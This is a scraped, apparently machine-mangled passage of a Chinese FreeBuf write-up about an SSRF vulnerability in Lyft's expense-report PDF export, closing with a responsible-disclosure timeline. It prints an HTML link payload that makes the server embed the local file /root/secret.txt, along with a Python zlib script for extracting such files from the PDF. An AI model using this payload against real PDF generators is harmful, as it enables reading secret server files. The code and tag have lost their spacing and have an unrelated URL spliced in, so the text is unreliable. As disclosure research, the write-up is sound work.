FreeBuf Lyft费用报告导出功能的SSRF漏洞分析( 二 ) 在外出参与某个安全会议的旅程中

<linkrel=attachmenthref=https://pcff.toutiao.jxnews.com.cn/p/20200625/”file:///root/secret.txt”>最终，利用数据压缩函数库zlib以及python,我们写了一个从PDF文件中解包本地文件的脚本，如下：
importsys,zlibdefmain(fn):data=https://pcff.toutiao.jxnews.com.cn/p/20200625/open(fn,'rb').readi=0first=Truelast=NonewhileTrue:i=data.find(b'>>nstreamn',i)ifi==-1:breaki+=10try:last=cdata=https://pcff.toutiao.jxnews.com.cn/p/20200625/zlib.decompress(data[i:])iffirst:first=Falseelse:pass#printcdataexcept:passprint(last.decode('utf-8'))if__name__=='__main__':main(*sys.argv[1:])最后一程在本地环境测试中，我们把上述脚本结合Lyft的PDF生成机制设置了一个包含Payload的行程记录，在导出PDF报告的过程中，触发了其中的SSRF利用，获取到了相应的用户信息，确认了漏洞的存在，如下：

文章图片
致谢感谢Lyft安全团队， Daeken的思路、@d0nutptr的漏洞验证，更多技术细节请查看HackerOne报告-H-885975 。
漏洞上报和处理过程2018.11.10-我初次发现漏洞
2018.11.29-在纽约比赛中与@Daeken合作完成POC
2018.11.29-报送Lyft安全团队
2018.11.29-Lyft修复漏洞
2018.11.30-Lyft告知漏洞已修复
2018.12.05-Lyft按其最高众测标准给予漏洞赏金
【FreeBuf Lyft费用报告导出功能的SSRF漏洞分析】2020.5.20-漏洞公开
*参考来源：nahamsec ， clouds编译整理，转载请注明来自FreeBuf.COM
精彩推荐

文章图片